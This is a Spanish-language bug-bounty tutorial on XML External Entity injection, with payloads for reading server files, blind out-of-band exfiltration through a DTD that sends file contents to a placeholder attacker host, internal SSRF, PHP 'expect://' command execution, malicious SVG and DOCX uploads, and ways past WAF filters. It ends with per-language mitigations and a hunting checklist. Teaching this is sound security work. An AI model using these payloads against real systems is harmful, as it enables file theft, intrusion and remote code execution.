Nivel IntermedioGratis

XXE — XML External Entity injection y exfiltración OOB

Cómo abusar parsers XML mal configurados: leer archivos del servidor, SSRF interna, blind XXE via DTD external. Endpoints típicos: SAML, SOAP, parser de configuración.

Gorka El Bochi9 de mayo de 202611 min

Deja de leer sobre bugs y empieza a cazarlos

Sin tarjeta · Academy gratis · cancela cuando quieras

Crear cuenta gratis

Respuesta rápida

XXE (XML External Entity) ocurre cuando un parser XML procesa entidades externas declaradas por el atacante. Permite leer archivos arbitrarios del servidor, SSRF a la red interna, y a veces RCE (PHP expect://). Endpoints típicos: SOAP APIs, SAML callbacks, importadores de configuración (XML/Office docs), conversores. Aunque XML está en declive, sigue presente en sistemas legacy y en SAML.


Cómo funciona

XML soporta declarar entidades externas que el parser resuelve cargando recursos. Si el parser está mal configurado:

xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
  <data>&xxe;</data>
</root>

El parser resuelve &xxe; cargando el contenido de /etc/passwd y lo devuelve en el response — si el response refleja el campo <data>, lees el archivo.


Variantes

1. XXE clásica con file read

xml
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<request><user>&xxe;</user></request>

Funciona si el response devuelve el valor del campo donde se inyecta la entidad.

2. XXE blind via DTD externa (OOB)

Cuando el response no refleja el contenido pero el parser puede hacer requests:

xml
<!DOCTYPE foo [
  <!ENTITY % ext SYSTEM "https://attacker.tld/evil.dtd">
  %ext;
]>
<root></root>

evil.dtd en el servidor del atacante:

xml
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'https://attacker.tld/?leak=%file;'>">
%eval;
%exfil;

El parser:

  1. Carga la DTD externa.
  2. Lee /etc/passwd en %file.
  3. Define %exfil con un GET a attacker.tld con el contenido como query param.
  4. Resuelve %exfil → request HTTP llega a attacker con el contenido.

Burp Collaborator es perfecto para hostear DTDs maliciosas y ver los hits.

3. SSRF via XXE

xml
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://internal-service:8080/admin">]>
<root>&xxe;</root>

El parser hace HTTP request al endpoint interno desde el server. El response (o parte) puede acabar reflejado.

4. RCE en PHP (legacy)

PHP con expect wrapper habilitado:

xml
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "expect://id">]>
<root>&xxe;</root>

Ejecuta id en el shell. Requiere extension expect cargada (raro, pero existe en setups legacy).


Endpoints donde buscar

SAML

SAML es XML por diseño. Cualquier endpoint /saml/login, /saml/callback, /auth/sso que procese assertions XML enviadas por el cliente es candidato. La SAML response es enviada por el browser tras el IdP — si el SP la procesa con un parser inseguro, XXE.

SOAP APIs

Webservices SOAP procesan XML. Endpoints *.asmx, *.svc, *.wsdl, paths con /soap, /services, /api/v1/soap.

Importadores de configuración

  • Importar .docx, .xlsx, .pptx (todos contienen XML internamente).
  • Importar SVG (XML-based).
  • Importar OPML, RSS, GPX.
  • Importar configuraciones (.config, .xml).

Office documents (DOCX/XLSX/PPTX)

Estos formatos son ZIP de XMLs. Subir un docx con [Content_Types].xml modificado para incluir DTD externa puede triggear XXE en el converter del backend.

arduino
docx_zip/
├── [Content_Types].xml   ← modificar aquí
├── word/
│   └── document.xml
└── _rels/

SVG uploads

xml
<?xml version="1.0"?>
<!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<svg xmlns="http://www.w3.org/2000/svg">
  <text>&xxe;</text>
</svg>

Si la app convierte SVG → PNG con ImageMagick u otro parser que respeta entidades externas, lee el archivo.


Bypasses de WAFs

Encoding alternativo

xml
<?xml version="1.0" encoding="UTF-16"?>

Si el WAF solo escanea UTF-8, UTF-16 (con BOM) puede bypasarlo.

Parameter entities

xml
<!ENTITY % start "<!ENTITY xxe">
<!ENTITY % end " SYSTEM 'file:///etc/passwd'>">
%start;%end;

Construir la entity dinámicamente para evadir detección de string.

CDATA + entity

xml
<![CDATA[<!ENTITY xxe SYSTEM "file:///etc/passwd">]]>

A veces parseado por el motor pero filtrado por el WAF.


Detección rápida

Test mínimo: enviar XML con DTD que apunte a Collaborator:

xml
<!DOCTYPE foo [<!ENTITY % ext SYSTEM "https://yourcollab.collab.tld/test"> %ext;]>
<root></root>

Si llega un hit a Collaborator → el parser resuelve external entities → posible XXE explotable.


Mitigación correcta

  1. Deshabilitar resolución de entidades externas en cada parser:
    • Java: factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true).
    • Python lxml: parser = etree.XMLParser(resolve_entities=False).
    • PHP: libxml_disable_entity_loader(true) (deprecated en PHP 8 — ya es default).
    • .NET: XmlReaderSettings.DtdProcessing = DtdProcessing.Prohibit.
  2. Whitelist de tipos aceptados (no aceptar XML si no se necesita).
  3. WAF como segunda línea, nunca primera.

Hunting checklist

  • ¿El endpoint acepta Content-Type: application/xml o text/xml?
  • ¿Hay imports de docx/xlsx/pptx/svg/opml/gpx?
  • ¿Hay /saml/, /soap/, endpoints SOAP-style?
  • ¿Probar Collaborator-based detection con DTD externa?
  • ¿Hay errores XML verbose si mando malformado?
  • ¿<!DOCTYPE> se permite en el body?
  • ¿Office docs procesados server-side (preview, conversion, OCR)?

Labs relacionados

Practica XXE clásica, blind via DTD externa y SSRF interna a través de XML: labs de XXE.

Gratis · sin cuenta

La checklist que repaso en cada objetivo nuevo

47 comprobaciones ordenadas por coste: primero lo que te puede meter en un lío, luego lo barato, y al final lo caro — que es donde están los bounties grandes. Te la mando al correo ahora mismo.

Te das de baja en un clic, desde cualquier correo.

Practica esto en un lab

Xxe

Resolver

Sigue aprendiendo · cuenta gratis

Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.

Crear cuenta

Artículos relacionados

2.786

hunters entrenando

63

labs de hackeos reales

1.767

completaciones

$14.790

pagados por estos bugs

37 flags capturadas esta semana·Hackeos reales de HackerOne · YesWeHack · Bugcrowd·Sin permanencia·Academy gratis

La comunidad

Esto no es una plataforma con usuarios.Es gente rompiendo lo mismo que tú.

Dentro se pregunta, se enseña lo que se ha encontrado y se resuelve en grupo lo que atascaría a cualquiera solo. Se entra gratis: sin cuenta, sin plan y sin dejar el correo.

Entrar a la comunidad de BBLABS en Discord
Entrar al Discord

Es gratis y abierto. No hace falta tener cuenta en BBLABS para entrar.